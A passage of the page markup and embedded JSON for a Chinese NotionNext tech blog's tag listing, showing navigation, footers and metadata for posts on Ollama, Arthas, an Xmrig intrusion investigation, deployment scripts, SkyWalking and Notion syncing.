</i>文章标签</span></a></li></ul></li><div class="text-sm flex items-center h-full flex justify-center dark:text-gray-200 text-gray-800"><div id="darkModeButton" class=" hover:scale-110 cursor-pointer transform duration-200 w-5 h-5"> <svg xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 24 24" stroke-width="1.5" stroke="currentColor"><path stroke-linecap="round" stroke-linejoin="round" d="M21.752 15.002A9.718 9.718 0 0118 15.75c-5.385 0-9.75-4.365-9.75-9.75 0-1.33.266-2.597.748-3.752A9.753 9.753 0 003 11.25C3 16.635 7.365 21 12.75 21a9.753 9.753 0 009.002-5.998z"></path></svg></div></div></div></div></div><main id="wrapper" class="relative flex justify-between w-full h-full mx-auto"><div class="font-sans hidden md:block border-r dark:border-transparent relative z-10 "><div class="w-72 py-14 px-6 sticky top-0 overflow-y-scroll h-screen scroll-hidden"><div class="flex w-full"><input type="text" class="my-3 rounded-md outline-none w-full text-sm pl-2 transition focus:shadow-lg font-light leading-10 text-black bg-gray-100 dark:bg-gray-900 dark:text-white"/><div class="flex -ml-8 cursor-pointer float-right items-center justify-center py-2"><i class="hover:text-black transform duration-200 text-gray-500  dark:hover:text-gray-300 cursor-pointer fas fa-search"></i></div></div><div class="mb-20"><div id="posts-wrapper" class="w-full flex-grow"><div class="select-none flex justify-between text-sm font-sans cursor-pointer p-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600"><span>技术分享</span><div class="inline-flex items-center select-none pointer-events-none "><i class="px-2 fas fa-chevron-left transition-all duration-200 -rotate-90"></i></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240325-ollama">mac体验ollama本地大模型</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240320-arthas">Arthas简单使用备忘录</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240319-xmrig">Xmrig挖矿入侵服务器排查</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240124-deploy">Java部署脚本&amp;重启备份检查&amp;配置环境</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240121-skywaking">解决SkyWalking在gateway中logback链路丢失</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240119-notion">Notion文章自动同步GitPage</a></div></div></div></div><div class="select-none flex justify-between text-sm font-sans cursor-pointer p-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600"><span>心情随笔</span><div class="inline-flex items-center select-none pointer-events-none "><i class="px-2 fas fa-chevron-left transition-all duration-200 "></i></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/example">示例文章</a></div></div></div></div><div class="select-none flex justify-between text-sm font-sans cursor-pointer p-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600"><span>知行合一</span><div class="inline-flex items-center select-none pointer-events-none "><i class="px-2 fas fa-chevron-left transition-all duration-200 "></i></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/begin">开始</a></div></div></div></div></div></div></div><div class="w-72 fixed left-0 bottom-0 z-20 bg-white"><footer class="z-20 py-2 bg:white dark:bg-hexo-black-gray justify-center text-center w-full text-sm relative"><hr class="pb-2"/><div class="flex justify-center"><div><i class="mx-1 animate-pulse fas fa-heart"></i> <a href="https://bothsavage.github.io/" class="underline font-bold text-gray-500 dark:text-gray-300 ">Both Savage</a>.<br/></div>© <!-- -->2024</div><div class="text-xs font-serif">Powered By <a href="https://github.com/tangly1024/NotionNext" class="underline text-gray-500 dark:text-gray-300">NotionNext</a></div><span class="hidden busuanzi_container_site_pv"><i class="fas fa-eye"></i><span class="px-1 busuanzi_value_site_pv"> </span>  </span><span class="pl-2 hidden busuanzi_container_site_uv"><i class="fas fa-users"></i> <span class="px-1 busuanzi_value_site_uv"> </span> </span><h1 class="pt-1">Both Savage</h1></footer></div></div><div id="center-wrapper" class="flex flex-col justify-between w-full relative z-10 pt-14 min-h-screen"><div id="container-inner" class="w-full px-7 max-w-3xl justify-center mx-auto"><div class="transition ease-in-out duration-700 transform order-first opacity-0 translate-y-16"><div class="mt-10"><div class="w-full justify-center"><div id="posts-wrapper"><div class="undefined py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240319-xmrig">Xmrig挖矿入侵服务器排查</a></div></div><div class="undefined py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240119-notion">Notion文章自动同步GitPage</a></div></div><div class="undefined py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/example">示例文章</a></div></div><div class="undefined py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/begin">开始</a></div></div></div><div class="my-10 flex justify-between font-medium text-black dark:text-gray-100 space-x-2"><a rel="prev" class="invisible text-center w-full duration-200 px-4 py-2 hover:border-green-500 border-b-2 hover:font-bold" href="/tag/%E5%BB%BA%E7%AB%99/page/0">←<!-- -->Prev</a><a rel="next" class="invisible text-center w-full duration-200 px-4 py-2 hover:border-green-500 border-b-2 hover:font-bold" href="/tag/%E5%BB%BA%E7%AB%99/page/2">Next<!-- -->→</a></div></div></div></div><div id="jump-to-top" data-aos="fade-up" data-aos-duration="300" data-aos-once="false" data-aos-anchor-placement="top-center" class="fixed xl:right-80 right-2 mr-10 bottom-24 z-20"><i class="fas fa-chevron-up cursor-pointer p-2 rounded-full border bg-white dark:bg-hexo-black-gray"></i></div></div><div class="md:hidden"><footer class="z-20 py-2 bg:white dark:bg-hexo-black-gray justify-center text-center w-full text-sm relative"><hr class="pb-2"/><div class="flex justify-center"><div><i class="mx-1 animate-pulse fas fa-heart"></i> <a href="https://bothsavage.github.io/" class="underline font-bold text-gray-500 dark:text-gray-300 ">Both Savage</a>.<br/></div>© <!-- -->2024</div><div class="text-xs font-serif">Powered By <a href="https://github.com/tangly1024/NotionNext" class="underline text-gray-500 dark:text-gray-300">NotionNext</a></div><span class="hidden busuanzi_container_site_pv"><i class="fas fa-eye"></i><span class="px-1 busuanzi_value_site_pv"> </span>  </span><span class="pl-2 hidden busuanzi_container_site_uv"><i class="fas fa-users"></i> <span class="px-1 busuanzi_value_site_uv"> </span> </span><h1 class="pt-1">Both Savage</h1></footer></div></div><div style="width:32rem" class="hidden xl:block dark:border-transparent relative z-10 "><div class="py-14 px-6 sticky top-0"><div class="py-4"></div></div></div></main><div id="gitbook-left-float" class="fixed top-0 left-0 z-40 md:hidden"><div class="-ml-80 animate__slideOutLeft overflow-y-hidden shadow-card w-72 duration-200 fixed left-1 top-16 rounded py-2 bg-white dark:bg-gray-600"><div class="dark:text-gray-400 text-gray-600 h-96 overflow-y-scroll p-3"><div id="posts-wrapper" class="w-full flex-grow"><div class="select-none flex justify-between text-sm font-sans cursor-pointer p-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600"><span>技术分享</span><div class="inline-flex items-center select-none pointer-events-none "><i class="px-2 fas fa-chevron-left transition-all duration-200 -rotate-90"></i></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240325-ollama">mac体验ollama本地大模型</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240320-arthas">Arthas简单使用备忘录</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240319-xmrig">Xmrig挖矿入侵服务器排查</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240124-deploy">Java部署脚本&amp;重启备份检查&amp;配置环境</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240121-skywaking">解决SkyWalking在gateway中logback链路丢失</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240119-notion">Notion文章自动同步GitPage</a></div></div></div></div><div class="select-none flex justify-between text-sm font-sans cursor-pointer p-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600"><span>心情随笔</span><div class="inline-flex items-center select-none pointer-events-none "><i class="px-2 fas fa-chevron-left transition-all duration-200 "></i></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/example">示例文章</a></div></div></div></div><div class="select-none flex justify-between text-sm font-sans cursor-pointer p-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600"><span>知行合一</span><div class="inline-flex items-center select-none pointer-events-none "><i class="px-2 fas fa-chevron-left transition-all duration-200 "></i></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/begin">开始</a></div></div></div></div></div></div></div></div><div id="left-drawer-background" class="hidden fixed top-0 left-0 z-30 w-full h-full"></div></div><script async="" src="https://www.googletagmanager.com/gtag/js?id=G-XT4YTFWNBG"></script><script async="">
                 window.dataLayer = window.dataLayer || [];
                 function gtag(){dataLayer.push(arguments);}
                 gtag('js', new Date());
                 gtag('config', 'G-XT4YTFWNBG', {
                   page_path: window.location.pathname,
                 });
-              </script></div><script id="__NEXT_DATA__" type="application/json" crossorigin="">{"props":{"pageProps":{"NOTION_CONFIG":{"AUTHOR":"Both Savage","BIO":"talk is cheap","TITLE":"Both Savage","DESCRIPTION":"talk is cheap","LINK":"https://bothsavage.github.io/","THEME":"gitbook","CAN_COPY":"true","SINCE":"2024","CONTACT_EMAIL":"bothsavage@163.com","CUSTOM_MENU":"true","CUSTOM_RIGHT_CLICK_CONTEXT_MENU":"false","LANG":"en-US","THEME_SWITCH":"true","POST_SHARE_BAR_ENABLE":"true"},"notice":null,"siteInfo":{"title":"Both Savage","description":"一个NotionNext搭建的博客","pageCover":"https://www.notion.so/images/page-cover/nasa_robert_stewart_spacewalk_2.jpg","icon":"https://www.notion.so/image/https%3A%2F%2Fprod-files-secure.s3.us-west-2.amazonaws.com%2Feb3e1328-8f32-4ff5-8d18-8ea80020e175%2Fc5ebdc5a-c3fd-403e-906b-17d64db6d01f%2Ffavicon.ico?table=collection\u0026id=3c6ddc29-47df-43f6-a375-de1c3a9cf466\u0026t=3c6ddc29-47df-43f6-a375-de1c3a9cf466\u0026width=800"},"allNavPages":[{"id":"e8fd9138-663d-415d-9684-24343fb3248f","title":"mac体验ollama本地大模型","pageCoverThumbnail":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","category":"技术分享","tags":["工具","推荐","折腾"],"summary":"m1 pro芯片+32g体验了五种大模型本地部署","slug":"article/240325-ollama","pageIcon":"🗒️","lastEditedDate":"2024-03-26T05:49:00.447Z"},{"id":"e013510c-b3a7-4907-b4cd-118b118d30db","title":"Arthas简单使用备忘录","pageCoverThumbnail":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","category":"技术分享","tags":["工具","开发","推荐"],"summary":"Arthas在排查Java应用线上问题的时候有大用处,并且可以是热部署工具,这里我推荐几个我常用的方法","slug":"article/240320-arthas","pageIcon":"🗒️","lastEditedDate":"2024-03-20T04:52:10.213Z"},{"id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","title":"Xmrig挖矿入侵服务器排查","pageCoverThumbnail":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","category":"技术分享","tags":["建站","推荐","开发"],"summary":"叮咚!阿里云提示你,你的服务器正在被攻击!","slug":"article/240319-xmrig","pageIcon":"🗒️","lastEditedDate":"2024-03-19T17:15:42.884Z"},{"id":"38e3f997-dad9-46b8-99bb-d3042488821f","title":"Java部署脚本\u0026重启备份检查\u0026配置环境","pageCoverThumbnail":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","category":"技术分享","tags":["推荐","工具","自动化","微服务"],"summary":"微服务jar包越来越多,每次手动上线的时候都要运行一大堆命令,并且每个人备份的jar包名称目录都不一样。故写了一个脚本规定死流程,并且把脚本配置到环境变量做自动补全。","slug":"article/240124-deploy","pageIcon":"🗒️","lastEditedDate":"2024-01-24T07:18:46.139Z"},{"id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","title":"解决SkyWalking在gateway中logback链路丢失","pageCoverThumbnail":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","category":"技术分享","tags":["推荐","开发","日志","微服务","spring","skywalking"],"summary":"一年半以前,公司就从单体应用逐步迁移到微服务管理。奈何业务绑定太深,一直在两边混合开发。由于迁移到微服务的进程完成了一大半了,之前在单体项目中打的链路追踪就不太好用了。随即想到了SkyWalking,随即发现了一个大坑,那就是在gateway组件中logback日志会丢失TraceId,网上搜了一圈都没有解决问题,我又跑到SkyWalking的issue中搜了一大圈,发现大佬以下回答,还是得自己想办法。","slug":"article/240121-skywaking","pageIcon":"🗒️","lastEditedDate":"2024-01-20T18:52:32.627Z"},{"id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","title":"Notion文章自动同步GitPage","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed\u0026width=800\u0026fmt=webp","category":"技术分享","tags":["建站","推荐","工具","docker","自动化","折腾","git"],"summary":"之前一直使用GitPage+typora+hexo来做文章分享管理,奈何真的麻烦坚持不下去了。Notion是我一直在使用的笔记软件,为了更好的使用Notion我还去看了许多文章。现在Notion已经是我生活的一部分了。最近发现NotionNext,但需要Vercel部署,还需要自己映射域名。所以想着用xx.github.io域名,优雅又方便","slug":"article/240119-notion","pageIcon":"📗","lastEditedDate":"2024-03-19T17:14:00.935Z"},{"id":"d3216be6-1b27-40e7-8677-7404896b7eb6","title":"示例文章","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=d3216be6-1b27-40e7-8677-7404896b7eb6\u0026width=800\u0026fmt=webp","category":"心情随笔","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","slug":"article/example","pageIcon":"🗓️","lastEditedDate":"2024-01-19T06:18:08.580Z"},{"id":"54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","title":"开始","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf\u0026width=800\u0026fmt=webp","category":"知行合一","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","slug":"article/begin","pageIcon":"🏐","lastEditedDate":"2024-01-19T09:15:24.923Z"}],"tagOptions":[{"id":"d9f66761-0396-4e80-be5c-2ab6c7f8ba86","name":"推荐","color":"red","count":8},{"id":"ee932bde-0023-446f-9bb4-17d2022121c9","name":"文字","color":"brown","count":2},{"id":"25b1074b-a3fa-49f5-82cd-a37d85c5666f","name":"工具","color":"pink","count":4},{"id":"1e90f00e-8f1b-4665-8e69-92f0791bde56","name":"开发","color":"pink","count":3},{"id":"2382b30f-9881-4a8b-ae7f-2d34979c4fb9","name":"建站","color":"brown","count":4},{"id":"50765df4-40d8-4098-a1b4-abf97b9ce1d2","name":"docker","color":"gray","count":1},{"id":"114a1313-d952-45e1-8bb5-8bf0b7d3c372","name":"自动化","color":"blue","count":2},{"id":"986f04d2-1cd1-4f47-84ba-2c692e069d93","name":"折腾","color":"purple","count":2},{"id":"88f6276a-b475-4a62-a2b6-438606516ec8","name":"git","color":"default","count":1},{"id":"11c42291-5274-44a7-94a3-f4af3382896b","name":"日志","color":"red","count":1},{"id":"e89abe8e-9228-48f8-8bb0-582d8343eb91","name":"微服务","color":"red","count":2},{"id":"c002f5d1-02d9-41b0-954e-6f6a5978b3e0","name":"spring","color":"purple","count":1},{"id":"9fb08037-26be-4513-a5b2-ada51bcfeb9c","name":"skywalking","color":"blue","count":1}],"categoryOptions":[{"id":"a4dcd33a-34a7-4c33-b9c2-92d3a5248f06","name":"知行合一","color":"pink","count":1},{"id":"8282ff59-f160-40c3-ab7e-6e970a0a64d5","name":"技术分享","color":"purple","count":6},{"id":"edd604ab-fda7-4d9b-964a-e7de536c05a0","name":"心情随笔","color":"orange","count":1}],"customNav":[{"icon":"fas fa-home","name":"主页","to":"//","target":"_self","show":true}],"customMenu":[{"id":"5263856d-837a-4f2d-bfc6-24cbff6c946c","icon":"fab fa-github","date":{"start_date":"2021-03-13"},"type":"Menu","slug":"https://github.com/BOTHSAVAGE","summary":"这是一个指向外部地址的单页","title":"Github","status":"Published","category":"","publishDate":1615593600000,"publishDay":"Mar 13, 2021","lastEditedDate":"2024-01-18T16:12:17.114Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"https://github.com/BOTHSAVAGE","name":"Github","password":"","show":true,"target":"_blank"},{"id":"29e65d89-d04e-4ee3-9a9d-2f8856ed3055","icon":"fas fa-archive","date":{"start_date":"2023-03-23"},"type":"Menu","slug":"#","title":"往期整理","status":"Published","category":"","publishDate":1679529600000,"publishDay":"Mar 23, 2023","lastEditedDate":"2024-01-18T16:12:17.113Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"#","name":"往期整理","password":"","show":true,"subMenus":[{"id":"d88da7cd-eebc-4c92-b9c3-53910376ab83","icon":"fas fa-clock-rotate-left","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/archive","title":"历史归档","status":"Published","category":"","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-18T16:12:17.115Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/archive","name":"历史归档","password":"","show":true},{"id":"7d039e15-c906-470d-b781-943032713368","icon":"fas fa-th","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/category","title":"文章分类","status":"Published","category":"","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-18T16:12:17.114Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/category","name":"文章分类","password":"","show":true},{"id":"e746c4ee-0327-4529-85ac-7059a10091d3","icon":"fas fa-tag","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/tag","title":"文章标签","status":"Published","category":"","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-18T16:12:17.115Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/tag","name":"文章标签","password":"","show":true}]}],"postCount":4,"latestPosts":[{"id":"e8fd9138-663d-415d-9684-24343fb3248f","date":{"start_date":"2024-03-25","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240325-ollama","tags":["工具","推荐","折腾"],"summary":"m1 pro芯片+32g体验了五种大模型本地部署","title":"mac体验ollama本地大模型","status":"Published","publishDate":1711324800000,"publishDay":"Mar 25, 2024","lastEditedDate":"2024-03-26T05:49:00.447Z","lastEditedDay":"Mar 26, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","pageCoverThumbnail":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","tagItems":[{"name":"工具","color":"pink"},{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""},{"id":"e013510c-b3a7-4907-b4cd-118b118d30db","date":{"start_date":"2024-03-20","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240320-arthas","tags":["工具","开发","推荐"],"summary":"Arthas在排查Java应用线上问题的时候有大用处,并且可以是热部署工具,这里我推荐几个我常用的方法","title":"Arthas简单使用备忘录","status":"Published","publishDate":1710892800000,"publishDay":"Mar 20, 2024","lastEditedDate":"2024-03-20T04:52:10.213Z","lastEditedDay":"Mar 20, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","pageCoverThumbnail":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","tagItems":[{"name":"工具","color":"pink"},{"name":"开发","color":"pink"},{"name":"推荐","color":"red"}],"password":""},{"id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","date":{"start_date":"2024-03-19","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240319-xmrig","tags":["建站","推荐","开发"],"summary":"叮咚!阿里云提示你,你的服务器正在被攻击!","title":"Xmrig挖矿入侵服务器排查","status":"Published","publishDate":1710806400000,"publishDay":"Mar 19, 2024","lastEditedDate":"2024-03-19T17:15:42.884Z","lastEditedDay":"Mar 19, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","pageCoverThumbnail":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","tagItems":[{"name":"建站","color":"brown"},{"name":"推荐","color":"red"},{"name":"开发","color":"pink"}],"password":""},{"id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","date":{"time_zone":"Asia/Shanghai","start_date":"2024-01-19","start_time":"13:00"},"type":"Post","category":"技术分享","slug":"article/240119-notion","tags":["建站","推荐","工具","docker","自动化","折腾","git"],"summary":"之前一直使用GitPage+typora+hexo来做文章分享管理,奈何真的麻烦坚持不下去了。Notion是我一直在使用的笔记软件,为了更好的使用Notion我还去看了许多文章。现在Notion已经是我生活的一部分了。最近发现NotionNext,但需要Vercel部署,还需要自己映射域名。所以想着用xx.github.io域名,优雅又方便","title":"Notion文章自动同步GitPage","status":"Published","publishDate":1705622400000,"publishDay":"Jan 19, 2024","lastEditedDate":"2024-03-19T17:14:00.935Z","lastEditedDay":"Mar 19, 2024","fullWidth":false,"pageIcon":"📗","pageCover":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=85\u0026fm=jpg\u0026crop=entropy\u0026cs=srgb\u0026t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed\u0026width=800\u0026fmt=webp","tagItems":[{"name":"建站","color":"brown"},{"name":"推荐","color":"red"},{"name":"工具","color":"pink"},{"name":"docker","color":"gray"},{"name":"自动化","color":"blue"},{"name":"折腾","color":"purple"},{"name":"git","color":"default"}],"password":""},{"id":"38e3f997-dad9-46b8-99bb-d3042488821f","date":{"start_date":"2024-01-24","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240124-deploy","tags":["推荐","工具","自动化","微服务"],"summary":"微服务jar包越来越多,每次手动上线的时候都要运行一大堆命令,并且每个人备份的jar包名称目录都不一样。故写了一个脚本规定死流程,并且把脚本配置到环境变量做自动补全。","title":"Java部署脚本\u0026重启备份检查\u0026配置环境","status":"Published","publishDate":1706054400000,"publishDay":"Jan 24, 2024","lastEditedDate":"2024-01-24T07:18:46.139Z","lastEditedDay":"Jan 24, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","pageCoverThumbnail":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","tagItems":[{"name":"推荐","color":"red"},{"name":"工具","color":"pink"},{"name":"自动化","color":"blue"},{"name":"微服务","color":"red"}],"password":""},{"id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","date":{"start_date":"2024-01-21","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240121-skywaking","tags":["推荐","开发","日志","微服务","spring","skywalking"],"summary":"一年半以前,公司就从单体应用逐步迁移到微服务管理。奈何业务绑定太深,一直在两边混合开发。由于迁移到微服务的进程完成了一大半了,之前在单体项目中打的链路追踪就不太好用了。随即想到了SkyWalking,随即发现了一个大坑,那就是在gateway组件中logback日志会丢失TraceId,网上搜了一圈都没有解决问题,我又跑到SkyWalking的issue中搜了一大圈,发现大佬以下回答,还是得自己想办法。","title":"解决SkyWalking在gateway中logback链路丢失","status":"Published","publishDate":1705795200000,"publishDay":"Jan 21, 2024","lastEditedDate":"2024-01-20T18:52:32.627Z","lastEditedDay":"Jan 20, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","pageCoverThumbnail":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","tagItems":[{"name":"推荐","color":"red"},{"name":"开发","color":"pink"},{"name":"日志","color":"red"},{"name":"微服务","color":"red"},{"name":"spring","color":"purple"},{"name":"skywalking","color":"blue"}],"password":""}],"posts":[{"id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","date":{"start_date":"2024-03-19","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240319-xmrig","tags":["建站","推荐","开发"],"summary":"叮咚!阿里云提示你,你的服务器正在被攻击!","title":"Xmrig挖矿入侵服务器排查","status":"Published","publishDate":1710806400000,"publishDay":"Mar 19, 2024","lastEditedDate":"2024-03-19T17:15:42.884Z","lastEditedDay":"Mar 19, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","pageCoverThumbnail":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","tagItems":[{"name":"建站","color":"brown"},{"name":"推荐","color":"red"},{"name":"开发","color":"pink"}],"password":""},{"id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","date":{"time_zone":"Asia/Shanghai","start_date":"2024-01-19","start_time":"13:00"},"type":"Post","category":"技术分享","slug":"article/240119-notion","tags":["建站","推荐","工具","docker","自动化","折腾","git"],"summary":"之前一直使用GitPage+typora+hexo来做文章分享管理,奈何真的麻烦坚持不下去了。Notion是我一直在使用的笔记软件,为了更好的使用Notion我还去看了许多文章。现在Notion已经是我生活的一部分了。最近发现NotionNext,但需要Vercel部署,还需要自己映射域名。所以想着用xx.github.io域名,优雅又方便","title":"Notion文章自动同步GitPage","status":"Published","publishDate":1705622400000,"publishDay":"Jan 19, 2024","lastEditedDate":"2024-03-19T17:14:00.935Z","lastEditedDay":"Mar 19, 